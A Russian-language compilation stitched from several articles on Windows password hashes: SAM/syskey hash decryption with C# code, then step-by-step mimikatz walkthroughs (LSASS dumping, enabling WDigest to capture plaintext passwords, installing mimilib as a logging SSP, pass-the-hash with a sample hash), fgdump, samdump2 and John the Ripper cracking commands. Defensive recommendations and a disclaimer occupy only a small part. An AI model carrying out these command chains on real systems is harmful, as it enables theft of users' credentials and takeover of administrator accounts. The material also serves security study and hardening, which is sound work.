В каком формате хеша хранятся современные пароли для входа в windows

Время на прочтение7 мин

Количество просмотров92K

Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывали syskey. Я попытаюсь исправить этот неодостаток, описав все подробности о том где находятся пароли, в каком виде, и как их преобразует утилита syskey.

Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита psExec от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.

V-блок

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.

Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу HKLM\SAM\SAM\Domains\Account\users\[RID]\V
, известном как V-блок. Раздел SAM находится в соответствующем файле c:\Windows\System32\config\SAM. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку HKLM\SAM\SAM\Domains\Account\users\names\<имя пользователя> (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:

PsExec.exe -s -i -d regedit.

Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:

Картинка с сайта: habr.com

От 0x0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:

Адрес имени пользователя — 0xС
Длина имени пользователя — 0x10
Адрес LM-хэша — 0x9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac

В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0x14.

Еще одна деталь, касающаяся хранения паролей — как к NT- так и к LM-хэшу всегда добавляются спереди 4 байта, назначение которых для меня загадка. Причем 4байта будут присутствовать даже если пароль отключен. В данном случае видно, что длина LM хэша =4 и если посмотреть на его адрес, можно эти 4 байта увидеть несмотря на то что никакого LM-хэша нет.
Поэтому при поиске смещений хэшей смело прибавляем 4 байта к адресу, а при учете размеров — вычитаем. Если удобнее читать код — вот примерно так будет выглядеть поиск адресов с учетом инверсии, лишних четырех байтов и прибавления стартового смещения 0xcc (код C#)

int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0x100 + 4 + 0xcc;
int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0x100 + 4 + 0xcc;
int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0x100 - 4;
int nthashSize = userVblock[0xac] + userVblock[0xad] * 0x100 - 4;
int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0x100 + 0xcc;
int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0x100;
userVblock — значение HKLM\SAM\SAM\Domains\Account\users\\V в виде массива байт.
Еще про V-блок можно почитать тут.

Алгоритмы

Теперь разберемся в алгоритмах шифрования.
Формирование NT-хэша:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
Формирование LM-хэша:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.

4. В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.

Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID’ов пользователей, расшифровываем хэши DES’ом
3. Полученые хэши атакуем перебором.

Bootkey

Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:

HKLM\System\CurrentControlSet\Control\Lsa\JD
HKLM\System\CurrentControlSet\Control\Lsa\Skew1
HKLM\System\CurrentControlSet\Control\Lsa\GBG
HKLM\System\CurrentControlSet\Control\Lsa\Data

Раздел system находится в файле c:\Windows\System32\config\system

Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLM\SYSTEM\Select\default.
например если HKLM\SYSTEM\Select\default = 1 — вместо HKLM\System\CurrentControlSet\ ищем в HKLM\System\controlset001\

У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция RegQueryInfoKey.
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:

Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\JD
Class Name: 46003cdb = {0xdb,0x3c,0x00,0x46}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
Class Name: e0387d24 = {0x24,0x7d,0x38,0xe0}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\GBG
Class Name: 4d183449 = {0x49,0x34,0x18,0x4d}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Data
Class Name: 0419ed03 = {0x03,0xed,0x19,0x04}

Собраный из четырех частей ключ будет массивом байт:

scrambled_key = {0xdb,0x3c,0x00,0x46,0x24,0x7d,0x38,0xe0,0x49,0x34,0x18,0x4d,0x03,0xed,0x19,0x04};

Далее элементы этого массива переставляются на основе некоторого константного массива p

int[] p = { 0xb, 0x6, 0x7, 0x1, 0x8, 0xa, 0xe, 0x0, 0x3, 0x5, 0x2, 0xf, 0xd, 0x9, 0xc, 0x4 };
Элементы в этом массиве определяют позиции для перестановок, т.е.

key[i] = scrambled_key[p[i]];

В нашем примере получится массив:

key[] = {0x4d,0x38,0xe0,0x3c,0x49,0x18,0x19,0xdb,0x46,0x7d,0x00,0x04,0xed,0x34,0x03,0x24 };

этот массив и есть так называемый bootkey. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.

Hashed bootkey

для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):

string aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0";
string anum = "0123456789012345678901234567890123456789\0";
Также понадобится F-блок пользователя (HKLM\SAM\SAM\Domains\Account\users\\F), а именно его 16 байт: F[0x70:0x80]

На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4

rc4_key = MD5(F[0x70:0x80] + aqwerty + bootkey + anum).

Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока F[0x80:0xA0];

hashedBootkey = RC4(rc4_key,F[0x80:0xA0])

Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.

Дешифруем пароли с помощью Hashed Bootkey

для паролей LM и NT нам понадобятся еще 2 строковые константы —

string almpassword = "LMPASSWORD";
string antpassword = "NTPASSWORD";

а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (hashedBootkey[0x0:0x10]);
Все это склеивается в один массив байт и считается MD5 по правилам:
rc4_key_lm = MD5(hbootkey[0x0:0x10] +RID + almpassword);
rc4_key_nt = MD5(hbootkey[0x0:0x10] +RID + antpassword);

полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя

userLMpass = RC4(rc4_key_lm,userSyskeyLMpass);
userNTpass = RC4(rc4_key_lm,userSyskeyNTpass);

На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу

DES

На основе четырех байт RID’а пользователя с помощью некоторых перестановок и побитовых операций создаем 2 ключа DES. Вот функции, которые осуществляют обфускацию (С#):
private byte[] str_to_key(byte[] str) {
byte[] key = new byte[8];
key[0] = (byte)(str[0] >> 1);
key[1] = (byte)(((str[0] & 0x01) << 6) | (str[1] >> 2));
key[2] = (byte)(((str[1] & 0x03) << 5) | (str[2] >> 3));
key[3] = (byte)(((str[2] & 0x07) << 4) | (str[3] >> 4));
key[4] = (byte)(((str[3] & 0x0F) << 3) | (str[4] >> 5));
key[5] = (byte)(((str[4] & 0x1F) << 2) | (str[5] >> 6));
key[6] = (byte)(((str[5] & 0x3F) << 1) | (str[6] >> 7));
key[7] = (byte)(str[6] & 0x7F);
for (int i = 0; i < 8; i++) {
key[i] = (byte)(key[i] << 1);
}
des_set_odd_parity(ref key);
return key;
}

private byte[] sid_to_key1(byte[] rid) {
byte[] s = new byte[7];
s[0] = (byte)(rid[0] & 0xFF);
s[1] = (byte)(rid[1] & 0xFF);
s[2] = (byte)(rid[2] & 0xFF);
s[3] = (byte)(rid[3] & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];

return str_to_key(s);
}

private byte[] sid_to_key2(byte[] rid) {
byte[] s = new byte[7];
s[0] = (byte)((rid[3]) & 0xFF);
s[1] = (byte)(rid[0] & 0xFF);
s[2] = (byte)((rid[1]) & 0xFF);
s[3] = (byte)((rid[2]) & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];

return str_to_key(s);
}

Ну здесь особо комментировать нечего, кроме функции des_set_odd_parity(ref key) — это одна из функций библиотеки openssl, задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.

Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES’ом -одна половина зашифрована ключем сформированым функцией sid_to_key1, вторая — sid_to_key2.
obfskey_l = userNTpass[0x0:0x7]
obfskey_r = userNTpass[0x8:0xF]
byte[] deskey1 = sid_to_key1(RID);
byte[] deskey2 = sid_to_key2(RID);
byte[] md4hash_l = DES(obfskey_l, deskey1);
byte[] md4hash_r = DES(obfskey_r, deskey2);

После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — 31d6cfe0d16ae931b73c59d7e0c089c0

Исследование проведено на основе исходного кода ophcrack-3.3.1, а так же статьи Push the Red Button:SysKey and the SAM

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:\Tools\mimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

1. Запустите Mimikatz.exe с правами администратора;
2. В контексте утилиты выполните команды:
   mimikatz # privilege::debug
   
   Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege).
3. mimikatz # sekurlsa::logonPasswords full
   
   Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
4. В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
5. Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:

   anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
   Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)

Картинка с сайта: winitpro.ru

Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

Картинка с сайта: winitpro.ru

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

Картинка с сайта: winitpro.ru

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

# sekurlsa::logonPasswords

Картинка с сайта: winitpro.ru

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Картинка с сайта: winitpro.ru

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Картинка с сайта: winitpro.ru

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Картинка с сайта: winitpro.ru

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Картинка с сайта: winitpro.ru

Обновите GPO:

gpupdate /force

Картинка с сайта: winitpro.ru

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

privilege::debug
sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

Картинка с сайта: winitpro.ru

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

privilege::debug
token::elevate
lsadump::sam

Также можно извлечь NTLM хэши SAM из реестра.

1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
   reg save hklm\sam c:\tmp\sam.hiv
reg save hklm\security c:\tmp\sec.hiv
   

   Картинка с сайта: winitpro.ru

2. Затем с помощью Mimikatz извлеките хэши паролей:
   privilege::debug
token::elevate
lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

Картинка с сайта: winitpro.ru

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

Картинка с сайта: winitpro.ru

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

privilege::debug
sekurlsa::credman

Как вы видите, сохраненый пароль показан в секции credman.

Картинка с сайта: winitpro.ru

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
2. Зарегистрируйте дополнительного провайдер командой:
   reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
   

   Картинка с сайта: winitpro.ru

3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
   Get-Content C:\Windows\System32\kiwissp.log

Картинка с сайта: winitpro.ru

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

Картинка с сайта: winitpro.ru

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

• Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
• Отключите Wdiget;
• Отключить NTLM
• Запретить использование сохранённых паролей в Credential Manager
• Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
• Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
• Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
  . Можно распространить этот параметр реестра на компьютеры через GPO.
• Используйте Credential Guard для защиты содержимого LSA процесса;
• Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.

Выводы. Еще раз напоминаем прописные истины:

• Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
• Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
• Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
• Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.

NT, LM, MSCACHE и MSCACHE2 хэши 

Пароли пользователей Windows хранятся в NTLM и LM хэшах. В LM хэше может хранится строка длинной до 14 символов, если длинна больше Windows не использует этот хэш предпочитая ему NTLN. Кроме этого, можно не хранить пароль в LM хэшах вообще, отключив его вычисление в настройках. В Vista и поздних системах LM хэш не используется. В этих случаях может(?) хранится хэш от пустой строки.
У LM хэша есть две особенности:

1. пароль для хранения разбиваться на две части по 7 символов (если, конечно, длинна у него не меньшая). Соответственно хэши считаются для этих частей отдельно.

2. Все буквы в пароле переводятся в верхний регистр. Пример LM хэшей — паролей (последний хэш — для пустой строки):

D4A0539829018EA7 AAD3B435B51404EE : vega

CCF9155E3E7DB453 AAD3B435B51404EE : 123

96FA5702D3668DE7 96FA5702D3668DE7 : vegaLYRvegaLYR

AAD3B435B51404EE AAD3B435B51404EE :

LM и NTLM хэши имеют одинаковую длину (16 байт), но различаются в способе их вычисления. NT хэш вычисляется с помощью алгоритма MD4, причём пароль представлен в кодировке UTF16, а не в ASCII как для LM хэша.

Те же самые пароли, что и выше, представленные в виде NT хэша (последний хэш —  для пустой строки):

BD36CFFAA3C4AF5C E6FBBDCC0020B6EF : vega

3DBDE697D71690A7 69204BEB12283678 : 123

AB4580D78905FC47 3FE721A043457167 : vegaLYRvegaLYR

31d6cfe0d16ae931 b73c59d7e0c089c0 :

Эти хэши хранятся в файле %SystemRoot%\System32\Config\SAM  зашифрованные системным ключом, что хранится в файле system. Оба файла расположены в одно каталоге и представляют собой части реестра Windows [wiki].
В редакторе реестра хэш можно найти по адресу HKLM\SAM\SAM\Domains\Account\users\[RID]\V, где RID — числовой идентификатор пользователя.
Подробнее — Хранение и шифрование паролей Microsoft Windows

Cached credentails 
В случае, если пароль пользователя хранится в Active Directory, то по вышеуказанному адресу будет лежать лишь хэши пустых строк, LN и NT соответственно : aad3b435b51404eeaad3b435b51404ee : 31d6cfe0d16ae931b73c59d7e0c089c0

Однако, Windows хранит последние 10 (по умолчанию) используемых для входа пользователя хэшей в реестре, по адресу
HKEY_LOCAL_MACHINE\SECURITY\Cache.
До выхода в свет Windows Vista это были хэши MSCACHE (MSCASH в терминологии JohtTheRipper) вида:
NTLMHash( NTLMHash(password) + username ),
где имя пользователя это юникод строка в нижнем регистре [Cached Credentials, openwall: MSCash]. Таким образом в качестве «соли» использовалось имя пользователя.
С выходом Windows Vista стал использоваться хэш MSCASH2 (MSCash2).

Пример MSCASH2 хэша для пароля Password123 и пользователя test2: d7f91bcdec7c0df39396b4efc81123e4

Алсо

Для питона есть пакет passlib, с помощью которого можно вычислить описанные выше виды хэши.

Получение хэшей

Из Windows. fgdump (pwdump) [download]

Всё очень просто. Необходимо запустить (прежде отключив антивирус) fgdump от имени администратора, программа создаст файл с расширением .pwdump в который запишет все хэши:

123:1004:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678:::
HelpAssistant:1000:AA110CC154019E6EC3B0E1F17C1A6005:53BDA4C8B460DCA36AB5AF9297EF6632:::
qwerty:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1002:NO PASSWORD*********************:95936DCF173773EE3AF60E929F5B19A3:::
user1:1005:D4A0539829018EA7AAD3B435B51404EE:AEBF16E3B8F04FD2995C2E8F4F8820D5:::
user2:1006:D4A0539829018EA7AAD3B435B51404EE:BD36CFFAA3C4AF5CE6FBBDCC0020B6EF:::
user3:1007:96FA5702D3668DE796FA5702D3668DE7:AB4580D78905FC473FE721A043457167:::
user4:1008:NO PASSWORD*********************:AE72983EDE69AC85AF294B54A55E3A09:::

Получить хэши можно и по сети

fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser [-p password]

Утилита позволяет получить хэши для доменной учётной записи (MSCASH).

liveCD (backtrack, kali)

Ещё один способ добыть хэши паролей пользователей Windows — загрузиться с liveCD, скопировать sam и system файлы, например на флешку и  продолжить работу с ними уже «оффлайн».

Просмотрим все диски

fdisk -l

Картинка с сайта: nahlogin.blogspot.com

Монтируем раздел

mount -t ntfs-3g /dev/sdb1 /mnt/windows

-t <тип монтируемого раздела> в данном случае (NTFS) это ntfs-3g, для FAT — vfat

Файлы SAM и SYSTEМ располагаются в Windows/System32/config. Первый хранит хэши паролей, второй — system boot key.
Программа samdump2 вытаскивает NTLM хэши из SAM и расшифровывает с помошью ключа из system:

samdump2 SYSTEM_FILE SAM_FILE > hashes

***
При использовании старых версий samdump2 ключ приходилось добывать отдельно.
Добыть ключ из SYSTEМ — задача программы bkhive:

bkhive <SYSTEM file> <key-file>

используя полученный ключ получить хэши — samdump2:

samdump2 <SAM file> <key-file> > <hashes>

Файл  hashes имеет формат:

username*:ID:LM hash: NT hash

и может выглядеть, например, вот так:

4<8=8AB@0B>@:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
>ABL:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:aa110cc154019e6ec3b0e1f17c1a6005:53bda4c8b460dca36ab5af9297ef6632:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:95936dcf173773ee3af60e929f5b19a3:::
qwerty:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
123:1004:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
user1:1005:d4a0539829018ea7aad3b435b51404ee:aebf16e3b8f04fd2995c2e8f4f8820d5:::
user2:1006:d4a0539829018ea7aad3b435b51404ee:bd36cffaa3c4af5ce6fbbdcc0020b6ef:::
user3:1007:96fa5702d3668de796fa5702d3668de7:ab4580d78905fc473fe721a043457167:::
user4:1008:aad3b435b51404eeaad3b435b51404ee:ae72983ede69ac85af294b54a55e3a09:::

* два первых имени пользователя — кирилические.

Cached credentails

Для кэшированых на локальном компьютере хэшей доменной учётной записи программа cachedump выдаст хэши:
cachedump <system hive> <security hive>

***

Кроме вышеописанных инструментов можно использовать богатые возможности Metasploit Framework для получения хэшей.
Using the Metasploit SMB Sniffer Module

***

Ещё один путь получения хэшей — дамп оперативной памяти (возможно файл подкачки?), в котором можно обнаружить вышеупомянутый раздле реестра.

Подбор пароля

John the Ripper

john <file-with-hashes>

Эта команда запустит John в т.н. single crack режиме, программа будет перебирать пароли в соответствии с правилами описными в конфигурационном файле. Для NTLM хэшей необходимо использовать версию программы — jumbo.
В данном случае john начнёт подбирает пароли для LM хэшей, опция —format=NT предсказуемо сменит тип хэша.

Атака по словарю (-w <путь к словарю>)

john hashes -w common-passwords.lst

Прамаетр —user=<имя пользователя> указывает конкретного пользователя (если в файле с хэшами их несколько) для которого будет осуществлён перебор.
По ходу работы программа будет выводить найденные пароли  в виде: пароль (имя пользователя), статус работы можно посмотреть нажав любую клавишу.
После завершения атаки просмотреть (—show) пароли можно так

 john <file-with-hashes> —show

Так будет выглядеть вывод (—show)  если john подберёт пароль для LM хэша

user2:VEGA:d4a0539829018ea7aad3b435b51404ee:bd36cffaa3c4af5ce6fbbdcc0020b6ef:::

и для NT хэша

user2:Vega:d4a0539829018ea7aad3b435b51404ee:bd36cffaa3c4af5ce6fbbdcc0020b6ef::: 

Пароли расположены после имени пользователя (отмечены курсивом). Найденный пароль также можно увидеть в файле john.pot, что, как правило, лежит в каталоге с исполняемый файлом john.

Пример

bkhive <SYSTEM file> <key-file>
samdump2 <SAM file> <key-file> > <text-file> 
#for NT hashes
john  <hash-file> —format=NT
# or
john <hash-file>

john —format=NT <hash-file> —show > <pash-hash-file>

